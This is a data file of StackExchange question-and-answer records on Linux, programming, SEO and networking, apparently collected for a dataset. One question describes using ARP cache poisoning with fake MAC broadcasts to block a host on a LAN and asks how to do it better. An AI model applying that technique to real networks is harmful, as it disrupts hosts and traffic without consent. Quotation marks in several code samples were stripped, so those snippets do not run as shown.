{  "id": "_unix.217221"  , "question": "I'm building a cross compiled 3.2.15 kernel for a Marvell Armada 370 system.  The vendor's default config file for this is armada_370_v7up_defconfig.  So when I perform a make armada_370_v7up_defconfig step, shouldn't that result in a .config file that matches the armada_370_v7up_defconfig file?Instead, I'm seeing a lot of differences (can include if needed).Or am I misunderstanding how make defconfig works?"  , "title": "Linux kernel build : shouldn't make defconfig yield the same .config file?"  , "tags": "linux kernel;compiling;configuration"  , "accepted_answer": "Defconfig generates a new kernel configuration with the default answer being used for all options. The default values are taken from a file located in the arch/$ARCH/configs/armada_370_v7up_defconfig  file.These default configurations are not designed to exactly fit your target but are rather meant to be a superset so you only have to modify them a bit.The make armada_370_v7up_defconfig creates your initial .config, which you can now edit through make menuconfig and make your changes. After that, you can run make which will then compile the kernel using your settings."  } 
{  "id": "_softwareengineering.271829"  , "question": "I am never sure which of these is better form:Option Adef a(x,y):        def b(z): return z+y  return map(b, x)print a([10,20], 5)Option Bdef b(z,y): return z+ydef a(x,y):  return map(lambda x: b(x,y), x)print a([10,20], 5)Suppose that b() is ONLY ever called from inside a().I know Option B is more efficient because it only declares b() once, and then the variable y is just passed as a context variable. But Option A seems to be simpler syntax, eliminating the need to construct a lambda, and simplifying the interface of b(). Suppose further that there could actually be many context arguments. The complexity blows up on the interface of b():Option A2:def a(x,y1,y2,y3,y4,y5):  def b(z): return z+y1+y2+y3+y4+y5  return map(b, x)print a([10,20], 5,6,7,8,9)Option B2:def b(z,y1,y2,y3,y4,y5): return z+y1+y2+y3+y4+y5def a(x,y1,y2,y3,y4,y5):  return map(lambda x: b(x,y1,y2,y3,y4,y5), x)print a([10,20], 5,6,7,8,9)Option A2 is far fewer characters.Thoughts?"  , "title": "Iterating a function with a static argument: Global functions + lambdas vs internal function?"  , "tags": "python;functions;lambda"  , "accepted_answer": "Per the Zen of Python: simple is always better than complex. I'd pick the first option on the principle that it is vastly easier to understand and thus easier to maintain. Generally speaking, in Python, one worries more about the ease of use of the code than the efficiency of the code.If you want to simplify long lists of arguments, use *args:4.7.3. Arbitrary Argument ListsFinally, the least frequently used option is to specify that a function can be called with an arbitrary number of arguments. These arguments will be wrapped up in a tuple (see Tuples and Sequences). Before the variable number of arguments, zero or more normal arguments may occur.def write_multiple_items(file, separator, *args):    file.write(separator.join(args))Normally, these variadic arguments will be last in the list of formal parameters, because they scoop up all remaining input arguments that are passed to the function. Any formal parameters which occur after the *args parameter are keyword-only arguments, meaning that they can only be used as keywords rather than positional arguments.>>> def concat(*args, sep=/):...    return sep.join(args)...>>> concat(earth, mars, venus)'earth/mars/venus'>>> concat(earth, mars, venus, sep=.)'earth.mars.venus'"  } 
{  "id": "_webmaster.5362"  , "question": "Similar question but different on key points.I have the following setup:example.com requests forward to example.com/landing/re.php with a 301 permanently moved./landing/re.php evaluates cookies (or other request data) and directs you to either the landing page or to a specific language site, it redirects with a 303 see-other.All http-redirects are sent in the HTTP response header section.I'm really worried that bots won't be able to deal with this and I should resolve this in some way. My first instinct is to evaluate user-agent and send google to our English page, however I am unaware of the issues with my setup. What's the best way for me to deal with this? Should I re-work what I'm doing to some other way?"  , "title": "SEO and http-redirect headers?"  , "tags": "seo;redirects"  , "accepted_answer": "Most people who link to your site are likely to link to yourdomain.tld so having that page point to a 303 redirect may be wasting some PR (though perhaps trust and authority still get passed to the domain) as the 303 will not pass on PR, and will likely cause http://yourdomain.tld to just be unindexed.That said, there are a lot of sites that use this approach (having domain.tld dynamically redirect to *lang*.domain.tld). One way to do it without wasting PR would be to:Have domain.tld simply be a language-selection page that links to all the different language subsites.When a user goes to a particular language subsite, save (via cookie) that as their language preference.Next time the user comes to domain.tld use JavaScript to redirect them to their preferred subsite.This way all of your domain.tld PR flows to each of your language subsites, but you still auto-redirect users to the language they last visited.However, this is still considered cloaking as return users will see the language selection page in the SERP and instead end up at one of the language subsites. So that might be a reason to stick with your current setup and simply have search users go directly to one of the subsites. Google is pretty good at determining which language the user is looking for anyway (based on the query as well as which Google portal the user is searching from)."  } 
{  "id": "_unix.116457"  , "question": "I downloaded the gnuconio on this site (http://sourceforge.net/projects/gnulinuxconioh/)I unzipped the zip he jerou me the following files:bash-4.2$ lsDoxyfile  READ-ME.txt   conio.c  conio.ppr     constream            titledoc.htmlMakefile  READ-ME.txt~  conio.h  conio_test.c  constream_test.cpp+I read the readme.txtGNUCONIO 0.1 2012Thanks for downloading the opensource and GPL license gnuconio-0.1 library.With this you can use colors, getch and others graphical functions basedon the conio.h library, using the #include conio.h normally, in Windowsor Gnu Linux systems.In Gnu Linux systems only copy the conio.h file to your programs folderto use it. You will need the NCURSES library to work on linux (libncurses-dev).In Windows you will need to compile the conio.c file, and use the conio.o filein your compiler library list. Tested on the compiler Code::Blocks.To start the conio use any function, except the printf and scanf. To end theprogram, make the text color == background color, and use the clrscr()     function.Have Fun !I do not know how to do what it says in the readme.txt.I am compiling my project directly in the terminal, I'm using Slackware 14.1 and the ncurses library is installed.Can someone help me?"  , "title": "How do I install gnuconio on linux"  , "tags": "gcc;ncurses"  , "accepted_answer": "From the comments to the other answer, what is missing is the library linked in.Make sure ncurses-dev (or similarly named package) is installed. This will install a file /usr/include/ncurses.h (and a lot of other stuff).Then you have to run the following commands:gcc -c main.cgcc main.o some.o other.o files.o here.o -lncurses -o prognameThs first just compiles your main.c file, this should give no errors. The second one gathers your resulting main.o object and others you need, and links them with the ncurses library to give the progname executable.In any case, if you are doing this for Linux only, better learn how to use ncurses and its ilk directly. The package you are refering to is old (last update in 2012), is not present in the Fedora repository (that usually means it is not up to snuff), and pastes a Windows specific interface over the perfectly usable and well-tested Unix interface."  } 
{  "id": "_unix.82215"  , "question": "This thread What do the numbers in a man page mean? answers the question of the significance of the numbers between parentheses within a man page. My question is related.I have a local installation of a package called ffmpeg. The build folder has the typical bin, lib, etc. and then the folder:man/man1/ with the following files:ffmpeg-bitstream-filters.1  ffmpeg-scaler.1  libavdevice.3ffmpeg-codecs.1             ffmpeg-utils.1   libavfilter.3ffmpeg-devices.1            ffmpeg.1         libavformat.3ffmpeg-filters.1            ffplay.1         libavutil.3ffmpeg-formats.1            ffprobe.1        libswresample.3ffmpeg-protocols.1          ffserver.1       libswscale.3ffmpeg-resampler.1          libavcodec.3My questions are:Why is there a subfolder under man called man1? Why not just in man? And why the suffix 1?Which path should I add to MANPATH? The one pointing to man ? or man/man1?What do the suffices in the files above mean? Are they the same numbers within parentheses described in the thread I mentioned above?"  , "title": "Man folders and MANPATH"  , "tags": "directory structure;man"  , "accepted_answer": "The suffixes (such as 1) correspond to the numbers mentioned in What do the numbers in a man page mean?.  The represent sections of the manual.Which path should I add to MANPATH? The one pointing to man? Yes (ie, not one of the inner man1, man2, etc. directories).These have the same significance as the directory suffixes from #1.  Notice man1 contains all .1 files, man2 all .2 files, etc."  } 
{  "id": "_webapps.75307"  , "question": "I am trying to understand and use the values for putting a date range in my form.  I want the applicant to put employment range of from-to. I am not sure what to type in the field. Please advise.  "  , "title": "Using & Understanding Date Values in Form"  , "tags": "cognito forms"  } 
{  "id": "_unix.44444"  , "question": "in fvwm, you can change the default icon of any window using Style <regex> Icon <icon_name.xpm>.  In other words, I want to over ride the default icon set for an application without having to hack at system files. How can I achieve the same effect in awesome?In particular, how can I make sure that the application icon in the status bar is the one I set and not the default?"  , "title": "Change status bar applications' default icon"  , "tags": "window manager;awesome"  , "accepted_answer": "I'm not completely sure, but awesome probably honors the applications' .desktop files which contain an Icon key... You could change this, I suppose.(FVWM pre-dates the fdo standardisation work, I think.)"  } 
{  "id": "_codereview.49647"  , "question": "I'm using Anemone to Spider a website, I am then using a set of rules specific to that website, to find certain parameters. I feel like it's simple enough, but any attempt I make to save the products into arrays looks very messy.the Rules are different for each site (the script is simply grabbing site 1 from the DB at the moment). rule.name should become the column name.Any ideas of a good way to store this data (not on a db)? my Array pushing seemed horrible.So my way of storing goes like this: I have 2 hashes (entity and product) and an array (array). I loop through the rules making an entity which I merge to Product after each successful iteration. I then push Product to Array before moving on to the next page.As I said.. It seems and feels crappy. I would like to add a Product Model with a method to set variable keys for a hash.. but I'm not certain.desc Crawl client sitetask :crawl => :environment do  require 'anemone'  @client = Client.find(1)  @rules = @client.rules  $i = 0 #just for testingarray = Array.new  #Set up model/object or array to save the data.  Anemone.crawl(@client.url) do |anemone|    anemone.on_every_page do |page|      #puts page.url      #Create new instance of object or row of array?      entity = Hash.new      product = Hash.new      product = {url: page.url}      @client.rules.each do |rule|       # if page.doc.at_css(rule.rule) != nil || !rule.required? #.text[/[0-9\\.]+/]        if page.doc.xpath(rule.rule) != nil || !rule.required? #.text[/[0-9\\.]+/]          entity[rule.product_attribute.name] = page.doc.xpath(rule.rule).remove          product.merge!(entity)        else          #Not a product Page. Break the rules loop and move on to next page. (also delete current instance)          product = nil          break        end        #$i+= 1      end      if product then array.push(product) end    end  end#puts $i  puts arrayend"  , "title": "scraping and saving using Arrays or Objects"  , "tags": "ruby;array;ruby on rails;web scraping"  } 
{  "id": "_cs.44219"  , "question": "This might be too easy... But I just don't get it.I've been reading about flow in networks and I stumbled upon this definition in wikipedia: https://en.wikipedia.org/wiki/Flow_network$\\sum\\limits_{w\\in V} f(u,w) = 0 $$(\\forall u \\in V-\\{s, t\\})$That implies $\\sum\\limits_{(u,v)\\in E} f(u,v) = \\sum\\limits_{(v, z)\\in E} f(v,z)$It sounds trivial, but how does that implication work? The flow is 0 when there is no edge. So I think I can rewrite the first sum to:$\\sum\\limits_{w\\in V} f(u,w) = 0 \\iff \\sum\\limits_{(u,v)\\in E} f(u,v) = 0 $ for a node $u$That would result in every flow being zero, wouldn't it?What am I doing wrong? Thanks in advance :)"  , "title": "Flow in a network: Conservation of flow definition"  , "tags": "network flow;ford fulkerson;max flow"  , "accepted_answer": "The short answer is $f(u,v)=-f(v,u)$.  Note that the first sum includes both vertices $w$ such that $(u,w) \\in E$, as well as vertices $w$ such that $(u,w) \\notin E$ but $(w,u) \\in E$.  Now unpack the implications of the first sum, separating by these two cases, and I think you'll see what happens.For a more lengthy explanation, this is covered in standard textbooks.  Make a trip to a library to check out a few textbooks to find a detailed derivation; or, there are even online algorithm texts."  } 
{  "id": "_cstheory.16436"  , "question": "I am looking to write a research paper for an undergraduate class in security.I'd like to explore the details of a security attack that's happened within the last ~15 years (within the last 5 years is better).  This topic really interests me but I'm having trouble finding a suitable topic.What attacks can you recommend?  Good candidates would be attacks that:Are well documented (lots of technical details), including which vulnerabilities were exploited and great detail about how the attack was doneHave the attack's code that can be analysed on github or made publicEdit: I was going to pick the topic of the Playstation network DDoS by Anonymous, but that topic has already been selected by another student."  , "title": "Good exploit to explore for an undergraduate research paper"  , "tags": "soft question;security;project topic"  } 
{  "id": "_softwareengineering.27943"  , "question": "I'm interested in taking on more contract projects for programming and, although it'd be nice to find clients just in my area, I want to expand my search a bit to other areas where a company may allow me to telecommute. I'm wondering if anyone who has experience with this has noticed that whether a company would be more likely to be open to this based on if they are in a bigger city vs a smaller town.I would think that companies in smaller areas may have trouble finding programmers for some things and therefore would be more willing to outsource but maybe I am wrong. Any info is appreciated, I'm just trying to get an idea as to how to concentrate my efforts with networking with people form different areas, etc."  , "title": "Are companies in certain locations (big city vs small town, etc) more likely to offer telecommute contract programming work?"  , "tags": "freelancing;telecommuting"  } 
{  "id": "_softwareengineering.315160"  , "question": "I am developing a program which is to be installed on a simple machine in a LAN, the only particularity is that the NIC are connected on mirror ports.The software can scan and monitor the network. What I am looking for is a technique to take down a host on this network.When I discover a new host on the network I want to block it until I authorized it but the machine is not a firewall nor a real Network Access Controller (NAC) so I can only use passive methods.I have tried ARP cache poisoning to associate a fake MAC with the real gateway IP in the target host ARP cache but there is two major issues:The victim can manually set the ARP cache entry of the gateway as static.The victim can still communicate with the other LAN hosts.So I tried another method: poison the ARP cache of every hosts on the network except the victim's one. I send a broadcast ARP request (works better than reply) with the IP of the victim and a fake MAC. But there is still one issue:When the victim try to communicate with another LAN host, it sends an ARP request which put the valid MAC and IP association in the other hosts ARP cache.The victim can also manually sends ARP requests or replies to overwrite the fake MAC in the hosts ARP cache.For these reasons I wonder if there is a better method to accomplish such a thing."  , "title": "Technique to passively take down a host on the network"  , "tags": "security;monitoring"  } 
{  "id": "_softwareengineering.254746"  , "question": "I've been thinking about language design lately, and reading over some of the new things in Haskell (always a nice source of inspiration).  I'm struck by the many odd uses of the left <- and right -> arrow operators.I guess the many different usages comes from prior art in math and other languages regarding arrow syntax, but is there some other reason not to try and make the usage more consistent or clear?  Maybe I'm just not seeing the big picture?The right arrow gets used as a type constructor for functions, the separator between argument and body of lambda expressions, separator for case statements, and it's used in pattern views, which have the form (e -> p).The left arrow gets used in do notation as something similar to variable binding, in list comprehensions for the same (I'm assuming they are the same, as list comprehensions look like condensed do blocks), and in pattern guards, which have the form (p <- e).Now the last examples for each arrow are just silly!  I understand that guards and views serve different purposes, but they have almost identical form except that one is the mirror of the other!  I've also always found it kind of odd that regular functions are defined with = but lambdas with ->.  Why not use the arrow for both?  Or the equals for both?It also gets pretty odd when you consider that for comparing some calculated value against a constant, there's nearly a half-dozen ways to do it:test x = x == 4f     x = if test x then g x else h xf'    4 = g 4f'    x = h xf''   x@(test -> true) = g xf''   _ = h xf'''  x | true <- test x = g x        | otherwise = h xf'''' x = case (x) of           4 -> g x          _ -> h xVariety is the spice of source code though, right?"  , "title": "What is the logic behind the use of different arrows (-> "  , "tags": "language design;haskell"  } 
{  "id": "_unix.311846"  , "question": "I have a Linux 3.1.6 kernel as a router on a server with two CPUs Xeon E5405.The machine have two 1 Gbps network interfaces (Ethernet).We have several networks, two of them are 10.0.0.0/20, 10.1.0.0/20.When copying a file between two machines in the same network I have about 1 Gbps copying speed, but when copying between networks the speed degrades to ~200 Mbps. Copying to/from the outside world yield the same speed (~200 Mbps), but it should be much more, we have about ~1 Gbps to the outside and servers nearby with high available download speeds (confirmed, tested).So the problem is the routing server (we also did several tests confirming this).  What could be the problem? Can the NAT process be this slow, routing between networks is slow, CPUs aren't to busy (load is negligible), kernel bug?HAH, UPDATE (17:40):I discovered that this is IPv6 issue somehow. How?wget SERVER_NETWORK1_IPv4/file (~1 Gbps)wget SERVER_NETWORK2_IPv4/file (~1 Gbps)wget **SERVER_DNS_NAME**/file (~200 Mbps with DNS name) HA!wget SERVER_IPv6/file (~200 Mbps with IPv6 address) HA!  So, a different question, why IPv6 is multiple times slower?"  , "title": "Linux as router, bandwith degradation when using IPv6"  , "tags": "linux;routing;ipv6;router;nat"  } 
{  "id": "_cstheory.7069"  , "question": "Brief BackgroundIn Multi-Party Protocols by Chandra, Lipton, and Furst [CFL83], a Ramsey-theoretic proof is used to show a lower bound (and later, a matching upper bound) for the predicate Exactly-$n$ in the NOF multiparty communication complexity model. From the paragraph at the top of the second column of Page 1, we can see that they define the model such that the communication is strictly cyclic: e.g., for parties $P_0, P_1, P_2$, $P_0$ broadcasts at time $t=0$, $P_1$ broadcasts at time $t=1$, $P_2$ broadcasts at time $t=2$, then $P_0$ broadcasts at time $t=3$, and so on.In most other papers, this cyclic ordering restriction is not made. For (arbitrary) example, in Separating Deterministic from Nondeterministic NOF Multiparty Communication Complexity by Beame, David, Pitassi, and Woelfel [BDPW07], a counting argument over protocols separates $\\bf{RP}^{cc}_k$ from $\\bf{P}^{cc}_k$. By their definition, a protocol specifies, for every possible [public] blackboard contents [i.e., broadcast history] whether or not the communication is over, the output if over and the next player to speak if not. (emphasis added)Importantly, the proof technique in [CFL83] appears (to my eyes) to crucially depend on the parties speaking in a cyclic/modular fashion.QuestionAllow me to play Devil's Advocate:Doesn't the lower bound proof of [CFL83] break if we allow the parties to speak in an ordering specified by the protocol? More specifically, is it possible there could there be a protocol with a different communication pattern than cyclic for Exactly-$n$ in the NOF model that costs less than the $\\log(\\chi_k(n))$ lower bound given in the paper?Or more generally -- what's going on here? Why is one (highly cited) paper (I use the following very liberally) allowed to restrict the possible protocols to round-robin communication patterns only?"  , "title": "Effect of protocol ordering on multiparty comm. complexity"  , "tags": "communication complexity"  , "accepted_answer": "Any protocol $\\pi$ can be modified into an equivalent protocol $\\hat\\pi$ that has the special round-robin communication pattern. The modification is as follows: Whenever party $i$ generates an output in $\\pi$, it holds it in a buffer until party $i-1$ has spoken. After party $i-1$ speaks, party $i$ either releases its buffer or broadcasts a dummy (or empty) message if there is nothing in the buffer.The conversion of $\\pi$ into $\\hat\\pi$ is without loss of generality, with respect to the correctness and security properties of the protocol. Whether it incurs a loss of generality with respect to communication complexity depends on whether the model allows empty messages. You should see whether the proof technique in this paper assumes that parties can broadcast only non-empty messages. If empty messages are allowed, then $\\hat\\pi$ has the same communication complexity as $\\pi$."  } 
{  "id": "_unix.45524"  , "question": "I need a GUI on a remote server to which I have an ssh connection. Is it possible to share my X11 window system with it given that there's no X11 installed on the server?"  , "title": "Share X11 with remote server where X11 are not installed"  , "tags": "ssh;x11;remote desktop"  } 
{  "id": "_codereview.59030"  , "question": "I'm normally a C# developer, but I've started to learn F# and I want to make sure I'm writing code in a functional way that suits the language. I've quickly pieced this together with my knowledge from reading Functional Programming for the Real World and various material from the Web.Please look and provide feedback on style, layout or anything you want (Program.fs is where the meat is):// DataUtils.fsmodule DataUtilsopen System.IOopen System.Runtime.Serialization.Jsonopen System.Textlet GetJsonFromObject<'T> (obj:'T) =    use ms = new MemoryStream()    (new DataContractJsonSerializer(typeof<'T>)).WriteObject(ms, obj)    Encoding.Default.GetString(ms.ToArray())let GetObjectFromJson<'T> (json:string) : 'T =    use ms = new MemoryStream(ASCIIEncoding.Default.GetBytes(json))    let obj = (new DataContractJsonSerializer(typeof<'T>)).ReadObject(ms)    obj :?> 'T// Web.fsmodule Webopen Systemopen System.Netopen System.IOlet GetJsonFromWebRequest url =    let req = WebRequest.Create(new Uri(url)) :?> HttpWebRequest    req.ContentType <- application/json    let res = req.GetResponse () :?> HttpWebResponse    use stream = res.GetResponseStream()    use sr = new StreamReader(stream)    let data = sr.ReadToEnd()    data// Model.fsmodule Modelopen System.Runtime.Serialization[<DataContract>]type exchangeRate = {    [<field: DataMember(Name = to)>]    toCurrency:string;    [<field: DataMember(Name = rate)>]    rate:decimal;    [<field: DataMember(Name = from)>]    fromCurrency:string }// Program.fsmodule Programopen Systemopen Modellet getExchangeRate fromCurrency toCurrency =    let url = String.Format(http://rate-exchange.appspot.com/currency?from={0}&to={1}, fromCurrency, toCurrency)    let json = Web.GetJsonFromWebRequest url    let rate:exchangeRate = DataUtils.GetObjectFromJson json    ratelet rec displayExchangeRate currencies =    match currencies with    | [] -> []    | (a, b)::tl ->        let r = getExchangeRate a b        printfn %s -> %s = %A a b r.rate        displayExchangeRate tllet currencies = [    (GBP, EUR)    (GBP, USD)    (EUR, GBP)    (EUR, USD)    (USD, GBP)    (USD, EUR) ]displayExchangeRate currencies |> ignoreprintfn Press any key to exitlet input = Console.ReadKey()As you can see it's not doing an awful lot at the moment, just getting some exchange rates from a REST service and displaying them. The next step would be to add exchange rates to the database. I'd normally use Entity Framework for this, but given that Functional Programming is partly about reducing the amount of state that is held, is EF even the way to go?"  , "title": "Functional Programming style in F#"  , "tags": "functional programming;f#"  , "accepted_answer": "It looks good! Just a couple of points.Instead oflet data = sr.ReadToEnd()datayou can writesr.ReadToEnd()sprintf is more idiomatic than String.Format.displayExchangeRate would be better written as a loop or usingList.iter (or Seq.iter).DataContractJsonSerializer.WriteObject uses Encoding.UTF8, but you're decoding with Encoding.Default, which returns the OS's current ANSI code page."  } 
{  "id": "_webmaster.84581"  , "question": "I was just wondering what is the best way to structure my URL and if my URLs are holding me back from an SEO point of view.Currently we have our categories URL displaying key words form that category but the contain numbers at the end of the URL for example http://www.example.co.uk/nike-shoes-c-31.htmlWould it be better or have an affect on our rankings if we just had http://www.example.co.uk/nike-shoes.htmlThen the subcategory to this would be http://www.example.co.uk/nike-shoes-c-31_110.htmlWould it be better if we explain our on page content a bit better in the sub category URL for example http://www.example.co.uk/nike-shoes-latest-designs.html"  , "title": "URL structures for SEO"  , "tags": "seo;url"  } 
{  "id": "_softwareengineering.143052"  , "question": "I have a Swing application with a custom TreeModel that can refer to domain instances. I'm wondering what changes I could make if I consider moving to a web interface later on. Would a pluggable model be considered as good design? What would you do?"  , "title": "Separating model from UI"  , "tags": "java;design;ui;swing;model"  , "accepted_answer": "A pluggable model, using MVC (at a larger system level than what Swing defines MVC as), or a facade pattern would all work"  } 
{  "id": "_unix.31184"  , "question": "In some devices the cpu speed is dynamic, being faster when there is more load.I was wondering if it is possible to set nice level or priority of a process so that it does not influence an increase in cpu speed when it is running flat out.i.e.Process is running flat out, but only using spare cpu cycles as low priority. But also not causing an increase in cpu speed.When cpu is off process stops.When cpu is slow process may have some cpu, maybe most of it.When cpu is fast, because another process is running at 90%, process gets the remaining 10% of fast cpu.Then other process stops, so low priority process gets 100% of cpu, but the frequency controller does not see this low priority process and drops the frequency."  , "title": "Process priority and cpu speed"  , "tags": "linux;cpu;priority;efficiency;cpu frequency"  , "accepted_answer": "You can use the ondemand cpu-freq governor, as long as you set the ignore_nice_load parameter to 1.From Documentation/cpu-freq/governors.txt, ondemand section:ignore_nice_load: this parameter takes a value of '0' or '1'. When  set to '0' (its default), all processes are counted towards the  'cpu utilisation' value.  When set to '1', the processes that are  run with a 'nice' value will not count (and thus be ignored) in the  overall usage calculation.  This is useful if you are running a CPU  intensive calculation on your laptop that you do not care how long it  takes to complete as you can 'nice' it and prevent it from taking part  in the deciding process of whether to increase your CPU frequency."  } 
{  "id": "_codereview.79156"  , "question": "I am practicing some simple Java coding problems in an attempt to learn while doing them. I would like to know if my code is redundant/is there an easier way to accomplish the same thing?Question: Which Alien?A person who witnessed the appearance of the alien has come forward  to describe the alien's appearance. The program will determine which alien has arrived. The three alien  species that it could be is:TroyMartian, has at least 3 antenna and at most 4 eyesVladSaturnian, has at most 6 antenna and at least 2 eyesGraemeMercurian, has at most 2 antenna and at most 3 eyesSample session (with output shown in text, user input in italics)How many antennas?2How many eyes?3VladSaturnianGraemeMercurianIf the description does not match any of the aliens, there is no  output.My code:import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;public class Alien {public static int antenna;public static int eye;public static void main(String args[]) {    try (BufferedReader in = new BufferedReader(new InputStreamReader(            System.in))) {        System.out.println(How many antennas?);        antenna = Integer.parseInt(in.readLine());        System.out.println(How many eyes?);        eye = Integer.parseInt(in.readLine());        if(troy(antenna, eye)) {            System.out.println(TroyMartian);        }        if(vlad(antenna, eye)) {            System.out.println(VladSaturnian);        }        if(graeme(antenna, eye)) {            System.out.println(GraemeMercurian);        }        return;    }    catch (IOException e) {        System.err.println(Error);    }}public static boolean troy(int antenna, int eye) {    if ((antenna >= 3) && (eye <= 4)) {        return true;    } else {        return false;    }}public static boolean vlad(int antenna, int eye) {    if ((antenna <= 6) && (eye >= 2)) {        return true;    } else {        return false;    }}public static boolean graeme(int antenna, int eye) {    if ((antenna <= 2) && (eye <= 3)) {        return true;    } else {        return false;    }}}"  , "title": "Alien distinguisher"  , "tags": "java;beginner"  , "accepted_answer": "You're on the right track.  Good job using the try-with-resources block for the BufferedReader.  You could use a Scanner instead for convenience.  (You could even use Scanner.nextInt(), but it would work slightly differently: the newline in the input would be optional.)The variables antenna and eye can be local to main(), and therefore should not be static members of the class.In Java, a common naming convention for methods that return a boolean is isSomething() or hasSomething().  In this case, though, maybeSomething() seems more appropriate.It is rarely necessary to write return true; or return false; explicitly.  Usually, you would be better off returning a boolean expression.import java.util.Scanner;public class Alien {    public static void main(String args[]) {        try (Scanner in = new Scanner(System.in)) {            System.out.println(How many antennas?);            int antenna = Integer.parseInt(in.nextLine());            System.out.println(How many eyes?);            int eye = Integer.parseInt(in.nextLine());            if (maybeTroy(antenna, eye)) {                System.out.println(TroyMartian);            }            if (maybeVlad(antenna, eye)) {                System.out.println(VladSaturnian);            }            if (maybeGraeme(antenna, eye)) {                System.out.println(GraemeMercurian);            }        }    }    public static boolean maybeTroy(int antenna, int eye) {        return ((antenna >= 3) && (eye <= 4));    }    public static boolean maybeVlad(int antenna, int eye) {        return ((antenna <= 6) && (eye >= 2));    }    public static boolean maybeGraeme(int antenna, int eye) {        return ((antenna <= 2) && (eye <= 3));    }}"  } 
{  "id": "_unix.370900"  , "question": "How can I pass a full raw/MIME message (raw file) to the Linux mailx command for delivery? I don't want to extract the recipient, subject, body etc from the message - I want to feed a complete existing raw mail message 'as is' to mailx for sending whilst retaining all existing headers.An example message is as follows:Received: (qmail 32389 invoked by uid 0); 13 Jun 2017 09:24:51 -0400Date: Tue, 13 Jun 2017 09:24:51 -0400From: root@test.server.comTo: test@test.comSubject: Test EmailMessage-ID: <593fe7a3.IgSR+/BLy+NYXlVZ%root@test.server.com>User-Agent: Heirloom mailx 12.5 7/5/10MIME-Version: 1.0Content-Type: text/plain; charset=us-asciiContent-Transfer-Encoding: 7bitThe test mail contentSo I want to be able to feed the above to the mailx command on the command line.The purpose of this is to make the server deliver the original message (exactly as it was read from the raw message file) via a secondary SMTP server - to do this we would use mailx's -S switch to specify the secondary SMTP server eg:mailx -S smtp=backup-mail-server.com:25 < feed in the MIME message here somehowHow can I do this with mailx?"  , "title": "Send raw message with mailx command"  , "tags": "mailx;mail command"  , "accepted_answer": " mailx -S smtp=backup-mail-server.com:25 < mailx -p -f /var/mail/nobodyThis will read the RAW mail file, and pipe it into your send."  } 
{  "id": "_unix.48051"  , "question": "In Cinnamon, you can move your pointer to the top left corner of the screen to activate the desktop switcher.  This would be awesome...if I wasn't left-handed.  I throw the pointer up there most of the time.  It's massively frustrating.Is there a way to switch it to the top-right of the screen?"  , "title": "How can I change my workspace switcher in Cinnamon?"  , "tags": "linux mint;workspaces;cinnamon"  , "accepted_answer": "There is an option for that in the recent Cinnamon versions. Open Cinnamon Settings, click on Hot Corner and choose Top Right. If you do not have this option, you need to update Cinnamon:$ sudo apt-get install cinnamon"  } 
{  "id": "_unix.40743"  , "question": "I have a Linux machine, and I'll switch between using an RTL8187 based card, and a RT2800USB based card (the cards are both USB dongles by the same manufacturer).I've loaded the drivers for both cards:modprobe rtl8187modprobe rt2800usbI can run an iwlist scan against the RTL8187 card until I'm blue in the face, but after a few minutes of doing the same with the RT2800USB card, it stops working, and displays the following:$ sudo iwlist wlan0 scanwlan0     No scan resultsWhat can I do to get the card to work 100%?"  , "title": "RT2800USB wireless adapter stops scanning"  , "tags": "drivers;usb;wifi"  } 
{  "id": "_unix.255791"  , "question": "I used to open file in multiple tab  like visual studio or eclipse do.How can I open the a file into the exist vim process ?"  , "title": "In xterm(mintty,bash), how can I open a file in the exist vim process?"  , "tags": "bash;vim"  , "accepted_answer": "There are two ways you could do this:run vim in a screen session, and attach to that from different terminalsrun vim in client/server modeFurther reading:Taking Command of the Terminal with GNU Screen Using GNU Screen to Manage Persistent Terminal SessionsServer and client mode in VimHow does vim support C/S mode?"  } 
{  "id": "_unix.186697"  , "question": "When a running process gives lots of stdout output throughout its lengthy running process, you don't want to kill it and rerun it. How can you not show the output? Thanks."  , "title": "How to not show the stdout output of a running process?"  , "tags": "process;stdout"  } 
{  "id": "_webmaster.107894"  , "question": "I am planning to buy a domain with keyword Android to my website. But i am worried about having any legal problem doing this. If i am buying what all things i have to look forward?"  , "title": "Will domain name with keyword Android makes any legal problem?"  , "tags": "seo;domains;html;php;javascript"  } 
{  "id": "_unix.213986"  , "question": "When I usedps -u rootcommand in Ubuntu it showed the following output?PID TTY          TIME CMD  1 ?        00:00:02 init  2 ?        00:00:00 kthreadd  3 ?        00:00:00 ksoftirqd/0  5 ?        00:00:00 kworker/0:0H  7 ?        00:00:02 rcu_sched  8 ?        00:00:00 rcu_bh  9 ?        00:00:00 migration/0Where are the processes for vhand,bdflush,sched ? How do i know about these processes?"  , "title": "Process command"  , "tags": "linux;ubuntu;process"  } 
{  "id": "_vi.11105"  , "question": "I have an issue where in MacVim, I don't get any syntastic/eslint related functionality.  When I run !which eslint in macvim, I get eslint not found - eslint is definitely installed.If I run !which eslint on iTerm, I get the correct location of eslint (/Users/fpe/.nvm/versions/node/v4.4.5/bin/eslint).It looks like MacVim is not aware of my $PATH. I didn't set anything specifically.  I am also using zsh, if that makes a difference.How do I fix this?"  , "title": "syntastic not working on macvim, but works perfectly fine on the terminal"  , "tags": "macvim;plugin syntastic;path"  } 
{  "id": "_webmaster.84047"  , "question": "I'm considering nested site maps for a site with many small files.  I'm thinking of nesting sitemaps going 3 levels deep into the directories.Question 1: When you submit nested sitemaps to Google:Do you have to submit all of the sitemapsORDo you submit the root sitemap and expect that Googlebot will crawl to deeper levels. I suspect submitting the root sitemap will suffice.Question 2: Related Comments from Google, which has this text in it: A sitemap index file can't list other sitemap index files, but only sitemap files.Does this mean I can only have the root sitemap reference other sitemaps? Or,  in other words, I can't go three levels deep such as: sitemap   +-----sitemap             +-----sitemap             +-----sitemapI should only go two levels deep (root to all other sitemaps)?"  , "title": "Submission of nested sitemaps and nesting levels"  , "tags": "sitemap;googlebot;xml sitemap"  , "accepted_answer": "Sitemap index files can contain references to actual sitemap files, and each of those sitemap files then contain references to URLs that you want search engines to index.When you submit a sitemap index file to Google, it actually process all sitemap files that are connected to it, but you may have to wait up to a few hours to notice some action in webmaster tools because Google likes to be slow.So your structure then would be something like this:SitemapIndexFile.xml   -SitemapFile1.xml       -URL1       -URL2       ....       -URLN   -SitemapFile2.xml       -OtherURL1       -OtherURL2       ....        -OtherURLN    ...."  } 
{  "id": "_unix.354383"  , "question": "I think I turned on some option which keeps randomly switching places of my code, and for example when I press delete instead of deleting it moves the pointer few lines back and copies some other text.What have I done? Seems to persist through reopening emacs."  , "title": "emacs randomly deleting lines and text"  , "tags": "emacs"  } 
